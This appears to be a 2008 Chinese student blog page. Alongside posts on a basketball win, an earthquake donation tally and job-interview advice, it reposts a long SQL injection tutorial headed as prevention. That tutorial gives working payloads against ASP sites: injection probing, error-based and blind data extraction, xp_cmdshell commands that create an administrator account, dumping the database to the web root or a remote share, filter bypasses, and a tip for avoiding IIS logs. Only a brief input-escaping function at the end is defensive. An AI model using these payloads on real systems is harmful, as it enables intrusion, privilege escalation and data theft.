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  2008年5月9日
这几天很忙,一直想把前几天的事记录下来,但是总是没有找到合适的时间,今天晚上有时间,赶紧写下来。
大三了,马上要离开学校了,这是我们班最后一次参加学院的院篮球比赛,大家都憋足了劲,拿下这个冠军。
决赛中,上半场两个班你来我往,我们班领先1分,下半场开场不久,我们将比分拉到了8分之多,一直持续到结束。
三年我们班三次打入决赛,前两次都得了亚军,这次我们胜利了。这个冠军来的有些晚,但是它更有意义,因为我们把获得的物质奖励捐给受灾的四川人民。
5月12号的大地震过后,学校里各个班级纷纷进行了募捐活动,班级同学非常踊跃,尽自己的力量帮助四川人民。
正好我们班篮球队刚拿了个冠军,将奖励的120元钱的物质奖励改成了现金,捐了其中的100元,剩下20给同学买小纪念品。
班级募捐金额不是很多,但是体现了大家的心意,具体如下: 
类型 个数 小计
1角硬币 1757 175.7
5角硬币 190 95
1元硬币 76 76
1角纸币 400 40
2角纸币+5角纸币+1元纸币 26
大于1元人民币 394
篮球队捐款 100
总计 906.7
posted @ 2008-05-22 19:37 速溶人生 阅读(86) | 评论 (0)编辑 收藏

sql注入漏洞防范方法

 

SQL注入是常见的利用程序漏洞进行攻击的方法,绝大多数的代码都存在这种漏洞,首先要保证你的管理员密码是10位以上(数字字母配合),然后下载这个SQL通用防注入程序(网上有很多下载)加入到你的程序内,基本可以解决掉。

攻击源于程序漏洞 SQL注入原理

导致SQL注入攻击的漏洞并非系统造成的,主要是程序员在编程中忽略了安全因素,他的原理并不复杂。

引 言

  随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。

  但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。

  根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写,希望对安全工作者和程序员都有用处。了解 ASP注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。大家准备好了吗?Let's Go...

  入门篇

  如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。

  第一节、SQL注入原理

  以下我们从一个网站www.mytest.com开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。

  在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为:http://www.mytest.com/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示:

Microsoft JET Database Engine 错误 '80040e14'

  字符串的语法错误 在查询表达式 'ID=49'' 中。

/showdetail.asp,行8

  从这个错误提示我们能看出下面几点:

  1. 网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。

  2. 程序没有判断客户端提交的数据是否符合程序要求。

  3. 该SQL语句所查询的表中有一名为ID的字段。

  从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。

  第二节、判断能否进行SQL注入

  看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?

  其实,这并不是最好的方法,为什么呢?

  首先,不一定每台服务器的IIS都返回具体错误提示给客户端,如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。

  其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的,那么,什么样的测试方法才是比较准确呢?答案如下:

  ① http://www.mytest.com/showdetail.asp?id=49

  ② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

  ③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

  这就是经典的1=1、1=2测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了:

  可以注入的表现:

  ① 正常显示(这是必然的,不然就是程序有错误了)

  ② 正常显示,内容基本与①相同

  ③ 提示BOF或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof时)、或显示内容为空(程序加了on error resume next)

  不可以注入就比较容易判断了,①同样正常显示,②和③一般都会有程序定义的错误提示,或提示类型转换时出错。

  当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的“SQL注入一般步骤”再做分析。

  第三节、判断数据库类型及注入方法

  不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer,网上超过99%的网站都是其中之一。

  怎么让程序告诉你它使用的什么数据库呢?来看看:

  SQLServer有一些系统变量,如果服务器IIS提示没关闭,并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

  http://www.mytest.com/showdetail.asp?id=49 ;and user>0

  这句语句很简单,但却包含了SQLServer特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里,大家会看到很多用这种方法的语句。

  顺便说几句,众所周知,SQLServer的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。上面的方法可以很方便的测试出是否是用sa登录,要注意的是:如果是sa登录,提示是将”dbo”转换成int的列发生错误,而不是”sa”。

  如果服务器IIS不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

  在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

  如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id= 49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

  如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS错误提示时的验证。

进阶篇

  在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:

  第一节、SQL注入的一般步骤

  首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

  其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:

  (A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: Select * from 表名 where 字段=49
   注入的参数为ID=49 And [查询条件],即是生成语句: Select * from 表名 where 字段=49 And [查询条件]

  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: Select * from 表名 where 字段=’连续剧’
   注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:

Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
   © 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:

Select * from 表名 where 字段like ’%关键字%’
   注入的参数为keyword=’ and [查询条件] and ‘%25’=’, 即是生成语句:

Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
   接着,将查询条件替换成SQL语句,猜解表名,例如:

ID=49 And (Select Count(*) from Admin)>=0
   如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
  表名猜出来后,将Count(*)替换成Count(字段名),用同样的原理猜解字段名。

  有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。

  有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,这点在高级篇中会做介绍。

  最后,在表名和列名猜解成功后,再使用SQL语句,得出字段的值,下面介绍一种最常用的方法-Ascii逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。

  我们举个例子,已知表Admin中存在username字段,首先,我们取第一条记录,测试长度:

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

  先说明原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

  当然没人会笨得从0,1,2,3一个个测试,怎么样才比较快就看各自发挥了。在得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,比如:

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

  同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

  第二节、SQL注入常用函数

  有SQL语言基础的人,在SQL注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平,特别是一些常用的函数及命令。

Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)

  作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)

  作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C

  作用:判断A是否界于B与C之间

  第三节、中文处理方法

  在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解,“中文恐惧症”很快可以克服。

  先说一点常识:

  Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

  SQL Server中,中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode ()返回unicode值,再用nchar函数取得对应的中文字符。

  了解了上面的两点后,是不是觉得中文猜解其实也跟英文差不多呢?除了使用的函数要注意、猜解范围大一点外,方法是没什么两样的。

高级篇

  看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。

  第一节、利用系统表注入SQLServer数据库

  SQL Server是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:

  ① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

  分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:

  ② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

  将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统最高权限!当然,这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

  ③ http://Site/url.asp?id=1 ;and db_name()>0

  前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

  ④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--

  这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如\\202.96.xx.xx\Share \1.db),但成功率不高。

  ⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0

  前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。

  ⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

  从⑤拿到表名后,用object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

  以上6点是我研究SQLServer注入半年多以来的心血结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研究SQLServer注入之后,我在开发方面的水平也得到很大的提高,呵呵,也许安全与开发本来就是相辅相成的吧。

  第二节、绕过程序限制继续注入

  在入门篇提到,有很多人喜欢用’号测试注入漏洞,所以也有很多人用过滤’号的方法来“防止”注入漏洞,这也许能挡住一些入门者的攻击,但对SQL注入比较熟悉的人,还是可以利用相关的函数,达到绕过程序限制的目的。

  在“SQL注入的一般步骤”一节中,我所用的语句,都是经过我优化,让其不包含有单引号的;在“利用系统表注入SQLServer数据库”中,有些语句包含有’号,我们举个例子来看看怎么改造这些语句:

  简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;

如果字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。

  第三节、经验小结

  1.有些人会过滤Select、Update、Delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。

  2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。

  3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。

  4.用Get方法注入时,IIS会记录你所有的提交字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

  5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

  防范方法

  SQL注入漏洞可谓是“千里之堤,溃于蚁穴”,这种漏洞在网上极为普遍,通常是由于程序员对注入不了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这里,我给大家一个函数,代替ASP中的Request函数,可以对一切的SQL注入Say NO,函数如下:

Function SafeRequest(ParaName,ParaType)
  '--- 传入参数 ---
  'ParaName:参数名称-字符型
  'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)

 Dim Paravalue
  Paravalue=Request(ParaName)
  If ParaType=1 then
   If not isNumeric(Paravalue) then
    Response.write "参数" & ParaName & "必须为数字型!"
    Response.end
   End if
  Else
   Paravalue=replace(Paravalue,"'","''")
  End if
  SafeRequest=Paravalue
End function

 

posted @ 2008-05-20 16:22 速溶人生 阅读(48) | 评论 (0)编辑 收藏
16个经典面试问题回答思路

面试过程中,面试官会向应聘者发问,而应聘者的回答将成为面试官考虑是否接受他的重要依据。对应聘者而言,了解这些问题背后的“猫腻”至关重要。本文对面试中经常出现的一些典型问题进行了整理,并给出相应的回答思路和参考答案。读者无需过分关注分析的细节,关键是要从这些分析中“悟”出面试的规律及回答问题的思维方式,达到“活学活用”。

    问题一:“请你自我介绍一下”

    思路: 1、这是面试的必考题目。 2、介绍内容要与个人简历相一致。 3、表述方式上尽量口语化。 4、要切中要害,不谈无关、无用的内容。 5、条理要清晰,层次要分明。6、事先最好以文字的形式写好背熟。

    问题二:“谈谈你的家庭情况”

    思路:1、 况对于了解应聘者的性格、观念、心态等有一定的作用,这是招聘单位问该问题的主要原因。 2、 简单地罗列家庭人口。 3、 宜强调温馨和睦的家庭氛围。 4、 宜强调父母对自己教育的重视。 5、 宜强调各位家庭成员的良好状况。 6、 宜强调家庭成员对自己工作的支持。 7、 宜强调自己对家庭的责任感。

    问题三:“你有什么业余爱好?”

    思路: 1、 业余爱好能在一定程度上反映应聘者的性格、观念、心态,这是招聘单位问该问题的主要原因。 2、 最好不要说自己没有业余爱好。 3、 不要说自己有那些庸俗的、令人感觉不好的爱好。 4、 最好不要说自己仅限于读书、听音乐、上网,否则可能令面试官怀疑应聘者性格孤僻。 5、 最好能有一些户外的业余爱好来“点缀”你的形象。

    问题四:“你最崇拜谁?”

    思路: 1、 最崇拜的人能在一定程度上反映应聘者的性格、观念、心态,这是面试官问该问题的主要原因。 2、 不宜说自己谁都不崇拜。 3、 不宜说崇拜自己。 4、 不宜说崇拜一个虚幻的、或是不知名的人。 5、 不宜说崇拜一个明显具有负面形象的人。 6、 所崇拜的人人最好与自己所应聘的工作能“搭”上关系。 7、 最好说出自己所崇拜的人的哪些品质、哪些思想感染着自己、鼓舞着自己。

    问题五:“你的座右铭是什么?”

    思路: 1、座右铭能在一定程度上反映应聘者的性格、观念、心态,这是面试官问这个问题的主要原因。 2、不宜说那些易引起不好联想的座右铭。 3、不宜说那些太抽象的座右铭。 4、不宜说太长的座右铭。 5、座右铭最好能反映出自己某种优秀品质。 6、 参考答案——“只为成功找方法,不为失败找借口”

    问题六:“谈谈你的缺点”

    思路: 1、 不宜说自己没缺点。 2、 不宜把那些明显的优点说成缺点。 3、 不宜说出严重影响所应聘工作的缺点。 4、 不宜说出令人不放心、不舒服的缺点。 5、 可以说出一些对于所应聘工作“无关紧要”的缺点,甚至是一些表面上看是缺点,从工作的角度看却是优点的缺点。

    问题七:“谈一谈你的一次失败经历”

    思路: 1、 不宜说自己没有失败的经历。 2、 不宜把那些明显的成功说成是失败。 3、 不宜说出严重影响所应聘工作的失败经历, 4、 所谈经历的结果应是失败的。 5、 宜说明失败之前自己曾信心白倍、尽心尽力。 6、 说明仅仅是由于外在客观原因导致失败。 7、 失败后自己很快振作起来,以更加饱满的热情面对以后的工作。

    问题八:“你为什么选择我们公司?”

    思路: 1、 面试官试图从中了解你求职的动机、愿望以及对此项工作的态度。 2、 建议从行业、企业和岗位这三个角度来回答。 3、 参考答案——“我十分看好贵公司所在的行业,我认为贵公司十分重视人才,而且这项工作很适合我,相信自己一定能做好。”

    问题九:“对这项工作,你有哪些可预见的困难?”

    思路: 1、 不宜直接说出具体的困难,否则可能令对方怀疑应聘者不行。 2、 可以尝试迂回战术,说出应聘者对困难所持有的态度——“工作中出现一些困难是正常的,也是难免的,但是只要有坚忍不拔的毅力、良好的合作精神以及事前周密而充分的准备,任何困难都是可以克服的。”

    问题十:“如果我录用你,你将怎样开展工作”

    思路: 1、 如果应聘者对于应聘的职位缺乏足够的了解,最好不要直接说出自己开展工作的具体办法, 2、 可以尝试采用迂回战术来回答,如“首先听取领导的指示和要求,然后就有关情况进行了解和熟悉,接下来制定一份近期的工作计划并报领导批准,最后根据计划开展工作。”
问题十一:“与上级意见不一是,你将怎么办?”

    思路: 1、 一般可以这样回答“我会给上级以必要的解释和提醒,在这种情况下,我会服从上级的意见。” 2、 如果面试你的是总经理,而你所应聘的职位另有一位经理,且这位经理当时不在场,可以这样回答:“对于非原则性问题,我会服从上级的意见,对于涉及公司利益的重大问题,我希望能向更高层领导反映。”

    问题十二:“我们为什么要录用你?”

    思路: 1、 应聘者最好站在招聘单位的角度来回答。 2、 招聘单位一般会录用这样的应聘者:基本符合条件、对这份共组感兴趣、有足够的信心。 3、 如“我符合贵公司的招聘条件,凭我目前掌握的技能、高度的责任感和良好的饿适应能力及学习能力 ,完全能胜任这份工作。我十分希望能为贵 公司服务,如果贵公司给我这个机会,我一定能成为贵公司的栋梁!”

    问题十三:“你能为我们做什么?”

    思路: 1、 基本原则上“投其所好”。 2、 回答这个问题前应聘者最好能“先发制人”,了解招聘单位期待这个职位所能发挥的作用。 3、 应聘者可以根据自己的了解,结合自己在专业领域的优势来回答这个问题。

    问题十四:“你是应届毕业生,缺乏经验,如何能胜任这项工作?”

    思路: 1、 如果招聘单位对应届毕业生的应聘者提出这个问题,说明招聘单位并不真正在乎“经验”,关键看应聘者怎样回答。 2、 对这个问题的回答最好要体现出应聘者的诚恳、机智、果敢及敬业。 3、 如“作为应届毕业生,在工作经验方面的确会有所欠缺,因此在读书期间我一直利用各种机会在这个行业里做兼职。我也发现,实际工作远比书本知识丰富、复杂。但我有较强的责任心、适应能力和学习能力,而且比较勤奋,所以在兼职中均能圆满完成各项工作,从中获取的经验也令我受益非浅。请贵公司放心,学校所学及兼职的工作经验使我一定能胜任这个职位。”

    问题十五:“你希望与什么样的上级共事?”

    思路: 1、 通过应聘者对上级的“希望”可以判断出应聘者对自我要求的意识,这既上一个陷阱,又上一次机会。 2、 最好回避对上级具体的希望,多谈对自己的要求。 3、 如“做为刚步入社会新人,我应该多要求自己尽快熟悉环境、适应环境,而不应该对环境提出什么要求,只要能发挥我的专长就可以了。”

    问题十六:“您在前一家公司的离职原因是什么?”

    思路: 1、 最重要的是:应聘者要使找招聘单位相信,应聘者在过往的单位的“离职原因”在此家招聘单位里不存在。 2、 避免把“离职原因”说得太详细、太具体。 3、 不能掺杂主观的负面感受,如“太幸苦”、“人际关系复杂”、“管理太混乱”、“公司不重视人才”、“公司排斥我们某某的员工”等。 4、 但也不能躲闪、回避,如“想换换环境”、“个人原因”等。 5、 不能涉及自己负面的人格特征,如不诚实、懒惰、缺乏责任感、不随和等。 6、 尽量使解释的理由为应聘者个人形象添彩。 7、 如“我离职是因为这家公司倒闭。我在公司工作了三年多,有较深的感情。从去年始,由于市场形势突变,公司的局面急转直下。到眼下这一步我觉得很遗憾,但还要面对显示,重新寻找能发挥我能力的舞台。” 同一个面试问题并非只有一个答案,而同一个答案并不是在任何面试场合都有效,关键在于应聘者掌握了规律后,对面试的具体情况进行把握,有意识地揣摩面试官提出问题的心理背景,然后投其所好。
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外企最爱問的十大问题

1.请介绍一下你自己。

  这是外企常问的问题。一般人回答这个问题过于平常,只说姓名、年龄、爱好、工作经验,这些在简历上都有,其实,外企最希望知道的是求职者能否胜任工作,包括:最强的技能、最深入研究的知识领域、个性中最积极的部分、做过的最成功的事,主要的成就等,这些都可以和学习无关,也可以和学习有关,但要突出积极的个性和做事的能力,说得合情合理外企才会相信。外企很重视一个人的礼貌,求职者要尊重考官,在回答每个问题之后都说一句“谢谢”。外企喜欢有礼貌的求职者。

2.在学校你最不喜欢的课程是什么?为什么?

  这个问题外企不希望求职者直接回答“数学”、“体育”之类的具体课程,如果直接回答还说明了理由,不仅代表求职者对这个学科不感兴趣,可能还代表将来也会对要完成的某些工作没有兴趣。这个问题外企招聘者最想从求职者口里听到:我可能对个别科目不是特别感兴趣,但是正因为这样,我会花更多的时间去学习这门课程,通过学习对原本不感兴趣的科目也开始有了兴趣,对于本来就有兴趣的科目我自然学习得更认真,所以各门课的成绩较为平衡。通过这样的问题,外企可以找到对任何事情都很感兴趣的求职者。

3.说说你最大的优缺点?

  这个问题外企问的概率很大,通常不希望听到直接回答的缺点是什么等,如果求职者说自己小心眼、爱忌妒人、非常懒、脾气大、工作效率低,外企肯定不会录用你。外企喜欢求职者从自己的优点说起,中间加一些小缺点,最后再把问题转回到优点上,突出优点的部分。外企喜欢聪明的求职者。

4.你认为你在学校属于好学生吗?

  外企的招聘者很精明,问这个问题可以试探出很多问题:如果求职者学习成绩好,就会说:“是的,我的成绩很好,所有的成绩都很优异。当然,判断一个学生是不是好学生有很多标准,在学校期间我认为成绩是重要的,其他方面包括思想道德、实践经验、团队精神、沟通能力也都是很重要的,我在这些方面也做得很好,应该说我是一个全面发展的学生。”如果求职者成绩不尽理想,便会说:“我认为是不是一个好学生的标准是多元化的,我的学习成绩还可以,在其他方面我的表现也很突出,比如我去很多地方实习过,我很喜欢在快节奏和压力下工作,我在学生会组织过××活动,锻炼了我的团队合作精神和组织能力。” 有经验的招聘者一听就会明白,外企喜欢诚实的求职者。

 5.说说你的家庭。

外企面试时询问家庭问题不是非要知道求职者家庭的情况,探究隐私,外企不喜欢探究个人隐私,而是要了解家庭背景对求职者的塑造和影响。外企希望听到的重点也在于家庭对求职者的积极影响。外企最喜欢听到的是:我很爱我的家庭!我的家庭一向很和睦,虽然我的父亲和母亲都是普通人,但是从小,我就看到我父亲起早贪黑,每天工作特别勤劳,他的行动无形中培养了我认真负责的态度和勤劳的精神。我母亲为人善良,对人热情,特别乐于助人,所以在单位人缘很好,她的一言一行也一直在教导我做人的道理。外企相信,和睦的家庭关系对一个人的成长有潜移默化的影响。

  

6.说说你对行业、技术发展趋势的看法?

  外企对这个问题很感兴趣,只有有备而来的求职者能够过关。求职者可以直接在网上查找对你所申请的行业部门的信息,只有深入了解才能产生独特的见解。外企认为最聪明的求职者是对所面试的公司预先了解很多,包括公司各个部门,发展情况,在面试回答问题的时候可以提到所了解的情况,外企欢迎进入企业的人是“知己”,而不是“盲人”。

7.就你申请的这个职位,你认为你还欠缺什么?

  外企喜欢问求职者弱点,但精明的求职者一般不直接回答。他们希望看到这样的求职者:继续重复自己的优势,然后说:“对于这个职位和我的能力来说,我相信自己是可以胜任的,只是缺乏经验,这个问题我想我可以进入公司以后以最短的时间来解决,我的学习能力很强,我相信可以很快融入公司的企业文化,进入工作状态。”外企喜欢能够巧妙地躲过难题的求职者

8.你期望的工资是多少?

  外企的工资水平是很灵活的,何种能力拿何种工资。外企喜欢直率的人,但这个问题却不能正面回答,外企希望听到:“以我的能力和我的优势,我完全可以胜任这个职位,我相信我可以做得很好。但是贵公司对这个职位的描述不是很具体,我想还可以延后再讨论”。外企欢迎求职者给其定薪的自由度,而不是咬准一个价码。

9.你能给公司带来什么?

  外企很想知道未来的员工能为企业做什么,求职者应再次重复自己的优势,然后说:“就我的能力,我可以做一个优秀的员工在组织中发挥能力,给组织带来高效率和更多的收益”。外企喜欢求职者就申请的职位表明自己的能力,比如申请营销之类的职位,可以说:“我可以开发大量的新客户,同时,对老客户做更全面周到的服务,开发老客户的新需求和消费。”等等。

10.你还有什么问题吗?

  外企的这个问题看上去可有可无,其实很关键,外企不喜欢说“没有问题”的人,因为其很注重员工的个性和创新能力。外企不喜欢求职者问个人福利之类的问题,如果有人这样问:贵公司对新入公司的员工有没有什么培训项目,我可以参加吗?或者说贵公司的晋升机制是什么样的?外企将很欢迎,因为体现出你对学习的热情和对公司的忠诚度以及你的上进心。

posted @ 2008-05-15 15:18 速溶人生 阅读(91) | 评论 (0)编辑 收藏
1.J2EE课开了有两周了,从今天起,决定在这里记下所有的J2EE笔记,包括老师上课讲的所有内容。
2.面试被两个公司鄙视,是自己基础太差,从今天起,复习大学的基础知识。
posted @ 2008-05-12 19:25 速溶人生 阅读(74) | 评论 (0)编辑 收藏
大三了,正在找实习单位,也面试了几个公司,都被人家鄙视了。坐下来思考思考,总结经验:知其然,知其所以然,继续努力奋斗才是硬道理。
回首三年,有多少事情值得回忆,而今天我们更应该总结一下过去三年来的学习。
面对每一次的程序课题,第一想到的就是上网找资料,遇到了问题了不是“百度”就是“google”一下,将人家的结果copy下来,之后没有认真研究过程序的具体内容,只要能够运行就行。
面试时公司考的都是基础知识,这下子自己完了,你不能说让人家“百度”或“google”找结果吧。我记得一次面试时面试人员问了我一个java使用jdbc连接数据库的过程的问题,这个问题真的太简单了,但是我却没有完全回答正确。以前学习时,使用jdbc连接数据库使用了N多遍,但就是想不起来。想想就后悔,其前每次使用时,都是上网上收了一下,copy下来,之后改改Ip之类的,就跑起来了。
以后学习时,一定要事事弄个明白,多积累和总结经验。

第一次在Blog上发表自己想法,语句不连贯请见谅。
posted @ 2008-05-12 19:21 速溶人生 阅读(174) | 评论 (0)编辑 收藏
Good afternoon, my name is <<<. It's really a great honor to have this opportunity for a interview. Now I will introduce myself briefly. I am 23 years old, born in LiaoNing provine, North east of China. And I am curruently a college student at HIT. My major is software engineeing, and I will receive my bachelor degree after my graduation in june of 2009. In the past 3 years, I spend most of time on study. I have got scholarship for two times and I have been monitor for two years. I'm good at communicating and cooperating. I like java language and play baskball very well. Thanks!
posted @ 2008-05-09 16:37 速溶人生 阅读(494) | 评论 (0)编辑 收藏
6选4,我是另外两个人,总结一点:英语太差。
posted @ 2008-05-09 16:22 速溶人生 阅读(589) | 评论 (0)编辑 收藏
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